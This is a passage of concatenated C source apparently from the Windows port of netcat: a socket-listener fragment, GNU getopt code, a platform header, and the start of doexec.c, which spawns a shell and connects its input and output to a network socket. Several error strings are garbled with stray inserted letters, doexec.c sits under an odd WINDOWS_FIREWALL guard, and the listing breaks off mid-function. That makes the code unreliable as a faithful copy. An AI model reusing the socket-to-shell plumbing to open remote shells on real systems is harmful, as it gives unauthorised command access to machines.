rr = listen (nnetfd, 1); /* gotta listen() before we can get */
if (rr < 0) /* our local random port. sheesh. */
bail ("");
}

/* I can't believe I have to do all this to get my own goddamn bound address
and port number. It should just get filled in during bind() or something.
All this is only useful if we didn't say -p for listening, since if we
said -p we *know* what port we're listening on. At any rate we won't bother
with it all unless we wanted to see it, although listening quietly on a
random unknown port is probably not very useful without "netstat". */
if (o_verbose) {
x = sizeof (SA); /* how 'bout getsockNUM instead, pinheads?! */
rr = getsockname (nnetfd, (SA *) lclend, &x);
if (rr < 0)
holler ("");
strcpy (bigbuf_net, "["); /* buffer reuse... */
if (lclend->sin_addr.s_addr)
strcat (bigbuf_net, inet_ntoa (lclend->sin_addr));
else
strcat (bigbuf_net, "");
strcat (bigbuf_net, "] %d ...");
z = ntohs (lclend->sin_port);
holler (bigbuf_net, z);
} /* verbose -- whew!! */

/* UDP is a speeeeecial case -- we have to do I/O *and* get the calling
party's particulars all at once, listen() and accept() don't apply.
At least in the BSD universe, however, recvfrom/PEEK is enough to tell
us something came in, and we can set things up so straight


/* Declarations for getopt.
Copyright (C) 1989, 90, 91, 92, 93, 94 Free Software Foundation, Inc.

This file is part of the GNU C Library. Its master source is NOT part of
the C library, however. The master source lives in /gd/gnu/lib.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.

You should have received a copy of the GNU Library General Public
License along with the GNU C Library; see the file COPYING.LIB. If
not, write to the Free Software Foundation, Inc., 675 Mass Ave,
Cambridge, MA 02139, USA. */

#ifndef _GETOPT_H
#define _GETOPT_H 1

#ifdef __cplusplus
extern "C" {
#endif

/* For communication from `getopt' to the caller.
When `getopt' finds an option that takes an argument,
the argument value is returned here.
Also, when `ordering' is RETURN_IN_ORDER,
each non-option ARGV-element is returned here. */

extern char *optarg;

/* Index in ARGV of the next element to be scanned.
This is used for communication to and from the caller
and for communication between successive calls to `getopt'.

On entry to `getopt', zero means this is the first call; initialize.

When `getopt' returns EOF, this is the index of the first of the
non-option elements that the caller should itself scan.

Otherwise, `optind' communicates from one call to the next
how much of ARGV has been scanned so far. */

extern int optind;

/* Callers store zero here to inhibit the error message `getopt' prints
for unrecognized options. */

extern int opterr;

/* Set to an option character which was unrecognized. */

extern int optopt;

/* Describe the long-named options requested by the application.
The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector
of `struct option' terminated by an element containing a name which is
zero.

The field `has_arg' is:
no_argument (or 0) if the option does not take an argument,
required_argument (or 1) if the option requires an argument,
optional_argument (or 2) if the option takes an optional argument.

If the field `flag' is not NULL, it points to a variable that is set
to the value given in the field `val' when the option is found, but
left unchanged if the option is not found.

To have a long-named option do something other than set an `int' to
a compiled-in constant, such as set a value from `optarg', set the
option's `flag' field to zero and its `val' field to a nonzero
value (the equivalent single-letter option character, if there is
one). For long options that have a zero `flag' field, `getopt'
returns the contents of the `val' field. */

struct option
{
#if defined (__STDC__) && __STDC__
const char *name;
#else
char *name;
#endif
/* has_arg can't be an enum because some compilers complain about
type mismatches in all the code that assumes it is an int. */
int has_arg;
int *flag;
int val;
};

/* Names for the values of the `has_arg' field of `struct option'. */

#define no_argument 0
#define required_argument 1
#define optional_argument 2

#if defined (__STDC__) && __STDC__
#ifdef __GNU_LIBRARY__
/* Many other libraries have conflicting prototypes for getopt, with
differences in the consts, in stdlib.h. To avoid compilation
errors, only prototype getopt for the GNU C library. */
extern int getopt (int argc, char *const *argv, const char *shortopts);
#else /* not __GNU_LIBRARY__ */
extern int getopt ();
#endif /* __GNU_LIBRARY__ */
extern int getopt_long (int argc, char *const *argv, const char *shortopts,
const struct option *longopts, int *longind);
extern int getopt_long_only (int argc, char *const *argv,
const char *shortopts,
const struct option *longopts, int *longind);

/* Internal only. Users should not call this directly. */
extern int _getopt_internal (int argc, char *const *argv,
const char *shortopts,
const struct option *longopts, int *longind,
int long_only);
#else /* not __STDC__ */
extern int getopt ();
extern int getopt_long ();
extern int getopt_long_only ();

extern int _getopt_internal ();
#endif /* __STDC__ */

#ifdef __cplusplus
}
#endif

#endif /* _GETOPT_H */


/* Getopt for GNU.
NOTE: getopt is now part of the C library, so if you don't know what
"Keep this file name-space clean" means, talk to roland@gnu.ai.mit.edu
before changing it!

Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94
Free Software Foundation, Inc.

This file is part of the GNU C Library. Its master source is NOT part of
the C library, however. The master source lives in /gd/gnu/lib.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.

You should have received a copy of the GNU Library General Public
License along with the GNU C Library; see the file COPYING.LIB. If
not, write to the Free Software Foundation, Inc., 675 Mass Ave,
Cambridge, MA 02139, USA. */

/* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>.
Ditto for AIX 3.2 and <stdlib.h>. */
#ifndef _NO_PROTO
#define _NO_PROTO
#endif

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#if !defined (__STDC__) || !__STDC__
/* This is a separate conditional since some stdc systems
reject `defined (const)'. */
#ifndef const
#define const
#endif
#endif

#include <stdio.h>

#ifdef WIN32
#include <string.h>
#endif

/* Comment out all this code if we are using the GNU C Library, and are not
actually compiling the library itself. This code is part of the GNU C
Library, but also included in many other GNU distributions. Compiling
and linking in this code is a waste when using the GNU C library
(especially if it is a shared library). Rather than having every GNU
program understand `configure --with-gnu-libc' and omit the object files,
it is simpler to just do this in the source for each such file. */

#if defined (_LIBC) || !defined (__GNU_LIBRARY__)


/* This needs to come after some library #include
to get __GNU_LIBRARY__ defined. */
#ifdef __GNU_LIBRARY__
/* Don't include stdlib.h for non-GNU C libraries because some of them
contain conflicting prototypes for getopt. */
#include <stdlib.h>
#endif /* GNU C library. */

/* This version of `getopt' appears to the caller like standard Unix `getopt'
but it behaves differently for the user, since it allows the user
to intersperse the options with the other arguments.

As `getopt' works, it permutes the elements of ARGV so that,
when it is done, all the options precede everything else. Thus
all application programs are extended to handle flexible argument order.

Setting the environment variable POSIXLY_CORRECT disables permutation.
Then the behavior is completely standard.

GNU application programs can use a third alternative mode in which
they can distinguish the relative order of options and other arguments. */

#include "getopt.h"

/* For communication from `getopt' to the caller.
When `getopt' finds an option that takes an argument,
the argument value is returned here.
Also, when `ordering' is RETURN_IN_ORDER,
each non-option ARGV-element is returned here. */

char *optarg = NULL;

/* Index in ARGV of the next element to be scanned.
This is used for communication to and from the caller
and for communication between successive calls to `getopt'.

On entry to `getopt', zero means this is the first call; initialize.

When `getopt' returns EOF, this is the index of the first of the
non-option elements that the caller should itself scan.

Otherwise, `optind' communicates from one call to the next
how much of ARGV has been scanned so far. */

/* XXX 1003.2 says this must be 1 before any call. */
int optind = 0;

/* The next char to be scanned in the option-element
in which the last option character we returned was found.
This allows us to pick up the scan where we left off.

If this is zero, or a null string, it means resume the scan
by advancing to the next ARGV-element. */

static char *nextchar;

/* Callers store zero here to inhibit the error message
for unrecognized options. */

int opterr = 1;

/* Set to an option character which was unrecognized.
This must be initialized on some systems to avoid linking in the
system's own getopt implementation. */

int optopt = '?';

/* Describe how to deal with options that follow non-option ARGV-elements.

If the caller did not specify anything,
the default is REQUIRE_ORDER if the environment variable
POSIXLY_CORRECT is defined, PERMUTE otherwise.

REQUIRE_ORDER means don't recognize them as options;
stop option processing when the first non-option is seen.
This is what Unix does.
This mode of operation is selected by either setting the environment
variable POSIXLY_CORRECT, or using `+' as the first character
of the list of option characters.

PERMUTE is the default. We permute the contents of ARGV as we scan,
so that eventually all the non-options are at the end. This allows options
to be given in any order, even with programs that were not written to
expect this.

RETURN_IN_ORDER is an option available to programs that were written
to expect options and other ARGV-elements in any order and that care about
the ordering of the two. We describe each non-option ARGV-element
as if it were the argument of an option with character code 1.
Using `-' as the first character of the list of option characters
selects this mode of operation.

The special argument `--' forces an end of option-scanning regardless
of the value of `ordering'. In the case of RETURN_IN_ORDER, only
`--' can cause `getopt' to return EOF with `optind' != ARGC. */

static enum
{
REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER
} ordering;

/* Value of POSIXLY_CORRECT environment variable. */
static char *posixly_correct;

#ifdef __GNU_LIBRARY__
/* We want to avoid inclusion of string.h with non-GNU libraries
because there are many ways it can cause trouble.
On some systems, it contains special magic macros that don't work
in GCC. */
#include <string.h>
#define my_index strchr
#else

/* Avoid depending on library functions or files
whose names are inconsistent. */

char *getenv ();

static char *
my_index (str, chr)
const char *str;
int chr;
{
while (*str)
{
if (*str == chr)
return (char *) str;
str++;
}
return 0;
}

/* If using GCC, we can safely declare strlen this way.
If not using GCC, it is ok not to declare it. */
#ifdef __GNUC__
/* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h.
That was relevant to code that was here before. */
#if !defined (__STDC__) || !__STDC__
/* gcc with -traditional declares the built-in strlen to return int,
and has done so at least since version 2.4.5. -- rms. */
extern int strlen (const char *);
#endif /* not __STDC__ */
#endif /* __GNUC__ */

#endif /* not __GNU_LIBRARY__ */

/* Handle permutation of arguments. */

/* Describe the part of ARGV that contains non-options that have
been skipped. `first_nonopt' is the index in ARGV of the first of them;
`last_nonopt' is the index after the last of them. */

static int first_nonopt;
static int last_nonopt;

/* Exchange two adjacent subsequences of ARGV.
One subsequence is elements [first_nonopt,last_nonopt)
which contains all the non-options that have been skipped so far.
The other is elements [last_nonopt,optind), which contains all
the options processed since those non-options were skipped.

`first_nonopt' and `last_nonopt' are relocated so that they describe
the new indices of the non-options in ARGV after they are moved. */

static void
exchange (argv)
char **argv;
{
int bottom = first_nonopt;
int middle = last_nonopt;
int top = optind;
char *tem;

/* Exchange the shorter segment with the far end of the longer segment.
That puts the shorter segment into the right place.
It leaves the longer segment in the right place overall,
but it consists of two parts that need to be swapped next. */

while (top > middle && middle > bottom)
{
if (top - middle > middle - bottom)
{
/* Bottom segment is the short one. */
int len = middle - bottom;
register int i;

/* Swap it with the top part of the top segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[top - (middle - bottom) + i];
argv[top - (middle - bottom) + i] = tem;
}
/* Exclude the moved bottom segment from further swapping. */
top -= len;
}
else
{
/* Top segment is the short one. */
int len = top - middle;
register int i;

/* Swap it with the bottom part of the bottom segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[middle + i];
argv[middle + i] = tem;
}
/* Exclude the moved top segment from further swapping. */
bottom += len;
}
}

/* Update records for the slots the non-options now occupy. */

first_nonopt += (optind - last_nonopt);
last_nonopt = optind;
}

/* Initialize the internal data when the first call is made. */

static const char *
_getopt_initialize (optstring)
const char *optstring;
{
/* Start processing options with ARGV-element 1 (since ARGV-element 0
is the program name); the sequence of previously skipped
non-option ARGV-elements is empty. */

first_nonopt = last_nonopt = optind = 1;

nextchar = NULL;

posixly_correct = getenv ("POSIXLY_CORRECT");

/* Determine how to handle the ordering of options and nonoptions. */

if (optstring[0] == '-')
{
ordering = RETURN_IN_ORDER;
++optstring;
}
else if (optstring[0] == '+')
{
ordering = REQUIRE_ORDER;
++optstring;
}
else if (posixly_correct != NULL)
ordering = REQUIRE_ORDER;
else
ordering = PERMUTE;

return optstring;
}

/* Scan elements of ARGV (whose length is ARGC) for option characters
given in OPTSTRING.

If an element of ARGV starts with '-', and is not exactly "-" or "--",
then it is an option element. The characters of this element
(aside from the initial '-') are option characters. If `getopt'
is called repeatedly, it returns successively each of the option characters
from each of the option elements.

If `getopt' finds another option character, it returns that character,
updating `optind' and `nextchar' so that the next call to `getopt' can
resume the scan with the following option character or ARGV-element.

If there are no more option characters, `getopt' returns `EOF'.
Then `optind' is the index in ARGV of the first ARGV-element
that is not an option. (The ARGV-elements have been permuted
so that those that are not options now come last.)

OPTSTRING is a string containing the legitimate option characters.
If an option character is seen that is not listed in OPTSTRING,
return '?' after printing an error message. If you set `opterr' to
zero, the error message is suppressed but we still return '?'.

If a char in OPTSTRING is followed by a colon, that means it wants an arg,
so the following text in the same ARGV-element, or the text of the following
ARGV-element, is returned in `optarg'. Two colons mean an option that
wants an optional arg; if there is text in the current ARGV-element,
it is returned in `optarg', otherwise `optarg' is set to zero.

If OPTSTRING starts with `-' or `+', it requests different methods of
handling the non-option ARGV-elements.
See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above.

Long-named options begin with `--' instead of `-'.
Their names may be abbreviated as long as the abbreviation is unique
or is an exact match for some defined option. If they have an
argument, it follows the option name in the same ARGV-element, separated
from the option name by a `=', or else the in next ARGV-element.
When `getopt' finds a long-named option, it returns 0 if that option's
`flag' field is nonzero, the value of the option's `val' field
if the `flag' field is zero.

The elements of ARGV aren't really const, because we permute them.
But we pretend they're const in the prototype to be compatible
with other systems.

LONGOPTS is a vector of `struct option' terminated by an
element containing a name which is zero.

LONGIND returns the index in LONGOPT of the long-named option found.
It is only valid when a long-named option has been found by the most
recent call.

If LONG_ONLY is nonzero, '-' as well as '--' can introduce
long-named options. */

int
_getopt_internal (argc, argv, optstring, longopts, longind, long_only)
int argc;
char *const *argv;
const char *optstring;
const struct option *longopts;
int *longind;
int long_only;
{
optarg = NULL;

if (optind == 0)
optstring = _getopt_initialize (optstring);

if (nextchar == NULL || *nextchar == '\0')
{
/* Advance to the next ARGV-element. */

if (ordering == PERMUTE)
{
/* If we have just processed some options following some non-options,
exchange them so that the options come first. */

if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (last_nonopt != optind)
first_nonopt = optind;

/* Skip any additional non-options
and extend the range of non-options previously skipped. */

while (optind < argc
&& (argv[optind][0] != '-' || argv[optind][1] == '\0'))
optind++;
last_nonopt = optind;
}

/* The special ARGV-element `--' means premature end of options.
Skip it like a null option,
then exchange with previous non-options as if it were an option,
then skip everything else like a non-option. */

if (optind != argc && !strcmp (argv[optind], "--"))
{
optind++;

if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (first_nonopt == last_nonopt)
first_nonopt = optind;
last_nonopt = argc;

optind = argc;
}

/* If we have done all the ARGV-elements, stop the scan
and back over any non-options that we skipped and permuted. */

if (optind == argc)
{
/* Set the next-arg-index to point at the non-options
that we previously skipped, so the caller will digest them. */
if (first_nonopt != last_nonopt)
optind = first_nonopt;
return EOF;
}

/* If we have come to a non-option and did not permute it,
either stop the scan or describe it to the caller and pass it by. */

if ((argv[optind][0] != '-' || argv[optind][1] == '\0'))
{
if (ordering == REQUIRE_ORDER)
return EOF;
optarg = argv[optind++];
return 1;
}

/* We have found another option-ARGV-element.
Skip the initial punctuation. */

nextchar = (argv[optind] + 1
+ (longopts != NULL && argv[optind][1] == '-'));
}

/* Decode the current option-ARGV-element. */

/* Check whether the ARGV-element is a long option.

If long_only and the ARGV-element has the form "-f", where f is
a valid short option, don't consider it an abbreviated form of
a long option that starts with f. Otherwise there would be no
way to give the -f short option.

On the other hand, if there's a long option "fubar" and
the ARGV-element is "-fu", do consider that an abbreviation of
the long option, just like "--fu", and not "-f" with arg "u".

This distinction seems to be the most useful approach. */

if (longopts != NULL
&& (argv[optind][1] == '-'
|| (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1])))))
{
char *nameend;
const struct option *p;
const struct option *pfound = NULL;
int exact = 0;
int ambig = 0;
int indfound;
int option_index;

for (nameend = nextchar; *nameend && *nameend != '='; nameend++)
/* Do nothing. */ ;

/* Test all long options for either exact match
or abbreviated matches. */
for (p = longopts, option_index = 0; p->name; p++, option_index++)
if (!strncmp (p->name, nextchar, nameend - nextchar))
{
if ((unsigned int)(nameend - nextchar) == (unsigned int)strlen (p->name))
{
/* Exact match found. */
pfound = p;
indfound = option_index;
exact = 1;
break;
}
else if (pfound == NULL)
{
/* First nonexact match found. */
pfound = p;
indfound = option_index;
}
else
/* Second or later nonexact match found. */
ambig = 1;
}

if (ambig && !exact)
{
if (opterr)
fprintf (stderr, "%s: option `%s' is ambiguous\n",
argv[0], argv[optind]);
nextchar += strlen (nextchar);
optind++;
return '?';
}

if (pfound != NULL)
{
option_index = indfound;
optind++;
if (*nameend)
{
/* Don't test has_arg with >, because some C compilers don't
allow it to be used on enums. */
if (pfound->has_arg)
optarg = nameend + 1;
else
{
if (opterr)
{
if (argv[optind - 1][1] == '-')
/* --option */
fprintf (stderr,
"%s: ioptiion `--%s' idoesni't ialloiw ian iargumient\n",
argv[0], pfound->name);
else
/* +option or -option */
fprintf (stderr,
"%s: optiion `%c%s' doiesn't alliow an argiumeint\n",
argv[0], argv[optind - 1][0], pfound->name);
}
nextchar += strlen (nextchar);
return '?';
}
}
else if (pfound->has_arg == 1)
{
if (optind < argc)
optarg = argv[optind++];
else
{
if (opterr)
fprintf (stderr, "%s: ioptiion `%s' irequiires ian argiumient\n",
argv[0], argv[optind - 1]);
nextchar += strlen (nextchar);
return optstring[0] == ':' ? ':' : '?';
}
}
nextchar += strlen (nextchar);
if (longind != NULL)
*longind = option_index;
if (pfound->flag)
{
*(pfound->flag) = pfound->val;
return 0;
}
return pfound->val;
}

/* Can't find it as a long option. If this is not getopt_long_only,
or the option starts with '--' or is not a valid short
option, then it's an error.
Otherwise interpret it as a short option. */
if (!long_only || argv[optind][1] == '-'
|| my_index (optstring, *nextchar) == NULL)
{
if (opterr)
{
if (argv[optind][1] == '-')
/* --option */
fprintf (stderr, "%s: unrecognized option `--%s'\n",
argv[0], nextchar);
else
/* +option or -option */
fprintf (stderr, "%s: unrecognized option `%c%s'\n",
argv[0], argv[optind][0], nextchar);
}
nextchar = (char *) "";
optind++;
return '?';
}
}

/* Look at and handle the next short option-character. */

{
char c = *nextchar++;
char *temp = my_index (optstring, c);

/* Increment `optind' when we start to process its last character. */
if (*nextchar == '\0')
++optind;

if (temp == NULL || c == ':')
{
if (opterr)
{
if (posixly_correct)
/* 1003.2 specifies the format of this message. */
fprintf (stderr, "%s: illegal option -- %c\n", argv[0], c);
else
fprintf (stderr, "%s: invalid option -- %c\n", argv[0], c);
}
optopt = c;
return '?';
}
if (temp[1] == ':')
{
if (temp[2] == ':')
{
/* This is an option that accepts an argument optionally. */
if (*nextchar != '\0')
{
optarg = nextchar;
optind++;
}
else
optarg = NULL;
nextchar = NULL;
}
else
{
/* This is an option that requires an argument. */
if (*nextchar != '\0')
{
optarg = nextchar;
/* If we end this ARGV-element by taking the rest as an arg,
we must advance to the next element now. */
optind++;
}
else if (optind == argc)
{
if (opterr)
{
/* 1003.2 specifies the format of this message. */
fprintf (stderr, "%s: ioptiion irequiires ian arigumeint -- %c\n",
argv[0], c);
}
optopt = c;
if (optstring[0] == ':')
c = ':';
else
c = '?';
}
else
/* We already incremented `optind' once;
increment it again when taking next ARGV-elt as argument. */
optarg = argv[optind++];
nextchar = NULL;
}
}
return c;
}
}

int
getopt (argc, argv, optstring)
int argc;
char *const *argv;
const char *optstring;
{
return _getopt_internal (argc, argv, optstring,
(const struct option *) 0,
(int *) 0,
0);
}

#endif /* _LIBC or not __GNU_LIBRARY__. */

#ifdef TEST

/* Compile with -DTEST to make an executable for use in testing
the above definition of `getopt'. */

int
main (argc, argv)
int argc;
char **argv;
{
int c;
int digit_optind = 0;

while (1)
{
int this_option_optind = optind ? optind : 1;

c = getopt (argc, argv, "abc:d:0123456789");
if (c == EOF)
break;

switch (c)
{
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
if (digit_optind != 0 && digit_optind != this_option_optind)
printf ("digits occur in two different argv-elements.\n");
digit_optind = this_option_optind;
printf ("option %c\n", c);
break;

case 'a':
printf ("option a\n");
break;

case 'b':
printf ("option b\n");
break;

case 'c':
printf ("option c with value `%s'\n", optarg);
break;

case '?':
break;

default:
printf ("?? getopt returned character code 0%o ??\n", c);
}
}

if (optind < argc)
{
printf ("non-option ARGV-elements: ");
while (optind < argc)
printf ("%s ", argv[optind++]);
printf ("\n");
}

exit (0);
}

#endif /* TEST */


/* generic.h -- anything you don't #undef at the end remains in effect.
The ONLY things that go in here are generic indicator flags; it's up
to your programs to declare and call things based on those flags.

You should only need to make changes via a minimal system-specific section
at the end of this file. To build a new section, rip through this and
check everything it mentions on your platform, and #undef that which needs
it. If you generate a system-specific section you didn't find in here,
please mail me a copy so I can update the "master".

I realize I'm probably inventing another pseudo-standard here, but
goddamnit, everybody ELSE has already, and I can't include all of their
hairball schemes too. HAVE_xx conforms to the gnu/autoconf usage and
seems to be the most common format. In fact, I dug a lot of these out
of autoconf and tried to common them all together using "stupidh" to
collect data from platforms.

In disgust... _H* 940910, 941115. Pseudo-version: 1.1 */

#ifndef GENERIC_H /* only run through this once */
#define GENERIC_H

/* =============================== */
/* System calls, lib routines, etc */
/* =============================== */

/* How does your system declare malloc, void or char? Usually void, but go
ask the SunOS people why they had to be different... */
#define VOID_MALLOC

/* notably from fwtk/firewall.h: posix locking? */
#define HAVE_FLOCK /* otherwise it's lockf() */

#define HAVE_RANDOM

/* if your machine doesn't have lstat(), it should have stat() [dos...] */
#define HAVE_LSTAT

/* dbm vs ndbm */
#define HAVE_NDBM

/* extended utmp/wtmp stuff. MOST machines still do NOT have this SV-ism */
#define UTMPX

/* some systems have nice() which takes *relative* values... [resource.h] */
#define HAVE_SETPRIORITY

/* a sysvism, I think, but ... */
#define HAVE_SYSINFO

/* punted for now: setown / siocspgrp ... see firewall.h */

/* ============= */
/* Include files */
/* ============= */

/* Presence of these can be determined via a script that sniffs them
out if you aren't sure. */

/* stdlib comes with most modern compilers, but ya never know */
#define HAVE_STDLIB_H

/* not on a DOS box! */
#define HAVE_UNISTD_H

/* stdarg is a weird one */
#define HAVE_STDARG_H

/* dir.h or maybe ndir.h otherwise. */
#define HAVE_DIRENT_H

/* string or strings */
#define HAVE_STRINGS_H

/* if you don't have lastlog.h, what you want might be in login.h */
#define HAVE_LASTLOG_H

/* predefines for _PATH_various */
#define HAVE_PATHS_H

/* assorted others */
#define HAVE_PARAM_H
#define HAVE_SYSMACROS_H /* in sys/! */
#define HAVE_TTYENT_H /* securetty et al */

#ifdef MSDOS
#undef HAVE_FLOCK
#undef HAVE_RANDOM
#undef HAVE_LSTAT
#undef HAVE_TERMIOS
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_UNISTD_H
#undef HAVE_DIRENT_H /* unless you have the k00l little wrapper from L5!! */
#undef HAVE_STRINGS_H
#undef HAVE_LASTLOG_H
#undef HAVE_PATHS_H
#undef HAVE_PARAM_H
#undef HAVE_SYSMACROS_H
#undef HAVE_TTYENT_H
#endif /* MSDOS */

/* buglix 4.x; dunno about 3.x on down. should be bsd4.2. */
#ifdef ULTRIX
#undef UTMPX
#undef HAVE_PATHS_H
#undef HAVE_SYSMACROS_H
#endif /* buglix */

/* some of this might still be broken on older sunoses */
#ifdef SUNOS
#undef VOID_MALLOC
#undef UTMPX
#undef HAVE_PATHS_H
#endif /* sunos */

/* "contact your vendor for a fix" */
#ifdef SOLARIS
/* has UTMPX */
#undef HAVE_SETPRIORITY
#undef HAVE_STRINGS_H /* this is genuinely the case, go figure */
#undef HAVE_PATHS_H
#undef HAVE_TTYENT_H
#endif /* SOLARIS */

/* whatever aix variant MIT had at the time */
#ifdef AIX
#undef UTMPX
#undef HAVE_LASTLOG_H
#define HAVE_LOGIN_H /* "special", in the educational sense */
#endif /* aix */

/* linux, which is trying as desperately as the gnu folks can to be
POSIXLY_CORRECT. I think I'm gonna hurl... */
#ifdef LINUX
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_TTYENT_H
#endif /* linux */

/* irix 5.x; may not be correct for earlier ones */
#ifdef IRIX
/* wow, does irix really have everything?! */
#endif /* irix */

/* osf on alphas */
#ifdef OSF
#undef UTMPX
#endif /* osf */

/* they's some FUCKED UP paths in this one! */
#ifdef FREEBSD
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_LASTLOG_H
#undef HAVE_SYSMACROS_H
#endif /* freebsd */

/* From the sidewinder site, of all places; may be unreliable */
#ifdef BSDI
#undef UTMPX
#undef HAVE_LASTLOG_H
#undef HAVE_SYSMACROS_H
#undef HAVE_TTYENT_H
/* and their malloc.h was in sys/ ?! */
#endif /* bsdi */

/* netbsd/44lite, jives with amiga-netbsd from cactus */
#ifdef NETBSD
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_LASTLOG_H
#endif /* netbsd */

/* Make some "generic" assumptions if all else fails */
#ifdef GENERIC
#undef HAVE_FLOCK
#if defined(SYSV) && (SYSV < 4) /* TW leftover: old SV doesnt have symlinks */
#undef HAVE_LSTAT
#endif /* old SYSV */
#undef HAVE_TERMIOS
#undef UTMPX
#undef HAVE_PATHS_H
#endif /* generic */

/* ================ */
#endif /* GENERIC_H */


// for license see license.txt

// Modified 12/27/2004 by Chris Wysopal <weld@vulnwatch.com>
// fixed vulnerability found by hat-squad

// portions Copyright (C) 1994 Nathaniel W. Mishkin
// code taken from rlogind.exe

#include <stdlib.h>
#include <winsock2.h>
#include <winbase.h>

#ifdef WINDOWS_FIREWALL


#define BUFFER_SIZE 200

extern char * pr00gie;
void holler(char * str, char * p1, char * p2, char * p3, char * p4, char * p5, char * p6);
char smbuff[20];
//
// Structure used to describe each session
//
typedef struct {

//
// These fields are filled in at session creation time
//
HANDLE ReadPipeHandle; // Handle to shell stdout pipe
HANDLE WritePipeHandle; // Handle to shell stdin pipe
HANDLE ProcessHandle; // Handle to shell process

//
//
// These fields are filled in at session connect time and are only
// valid when the session is connected
//
SOCKET ClientSocket;
HANDLE ReadShellThreadHandle; // Handle to session shell-read thread
HANDLE WriteShellThreadHandle; // Handle to session shell-read thread

} SESSION_DATA, *PSESSION_DATA;


//
// Private prototypes
//

static HANDLE
StartShell(
HANDLE StdinPipeHandle,
HANDLE StdoutPipeHandle
);

static VOID
SessionReadShellThreadFn(
LPVOID Parameter
);

static VOID
SessionWriteShellThreadFn(
LPVOID Parameter
);



// **********************************************************************
//
// CreateSession
//
// Creates a new session. Involves creating the shell process and establishing
// pipes for communication with it.
//
// Returns a handle to the session or NULL on failure.
//

static PSESSION_DATA
CreateSession(
VOID
)
{
PSESSION_DATA Session = NULL;
BOOL Result;
SECURITY_ATTRIBUTES SecurityAttributes;
HANDLE ShellStdinPipe = NULL;
HANDLE ShellStdoutPipe = NULL;

//
// Allocate space for the session data
//
Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA));
if (Session == NULL) {
return(NULL);
}

//
// Reset fields in preparation for failure
//
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;


//
// Create the I/O pipes for the shell
//
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL
SecurityAttributes.bInheritHandle = TRUE; // Shell will inherit handles

Result = CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe,
&SecurityAttributes, 0);
if (!Result) {
holler("Failed to create shell stdout pipe, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
goto Failure;
}
Result = CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle,
&SecurityAttributes, 0);

if (!Result) {
holler("Failed to create shell stdin pipe, error = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);
goto Failure;
}
//
// Start the shell
//
Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe);

//
// We're finished with our copy of the shell pipe handles
// Closing the runtime handles will close the pipe handles for us.
//
CloseHandle(ShellStdinPipe);
CloseHandle(ShellStdoutPipe);

//
// Check result of shell start
//
if (Session->ProcessHandle == NULL) {
holler("Execute fail ....", NULL,
NULL, NULL, NULL, NULL, NULL);

goto Failure;
}

//
// The session is not connected, initialize variables to indicate that
//
Session->ClientSocket = INVALID_SOCKET;

//
// Success, return the session pointer as a handle
//
return(Session);

Failure:

//
// We get here for any failure case.
// Free up any resources and exit
//

if (ShellStdinPipe != NULL)
CloseHandle(ShellStdinPipe);
if (ShellStdoutPipe != NULL)
CloseHandle(ShellStdoutPipe);
if (Session->ReadPipeHandle != NULL)
CloseHandle(Session->ReadPipeHandle);
if (Session->WritePipeHandle != NULL)
CloseHandle(Session->WritePipeHandle);

free(Session);

return(NULL);
}



BOOL
doexec(
SOCKET ClientSocket
)
{
PSESSION_DATA Session = CreateSession();
SECURITY_ATTRIBUTES SecurityAttributes;
DWORD ThreadId;
HANDLE HandleArray[3];
int i;

SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // Use default ACL
SecurityAttributes.bInheritHandle = FALSE; // No inheritance

//
// Store the client socket handle in the session structure so the thread
// can get at it. This also signals that the session is connected.
//
Session->ClientSocket = ClientSocket;

//
// Create the session threads
//
Session->ReadShellThreadHandle =
CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE) SessionReadShellThreadFn,
(LPVOID) Session, 0, &ThreadId);

if (Session->ReadShellThreadHandle == NULL) {
holler("ReadShell failsession ithread, ierror = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);

//
// Reset the client pipe handle to indicate this session is disconnected
//
Session->ClientSocket = INVALID_SOCKET;
return(FALSE);
}

Session->WriteShellThreadHandle =
CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE) SessionWriteShellThreadFn,
(LPVOID) Session, 0, &ThreadId);

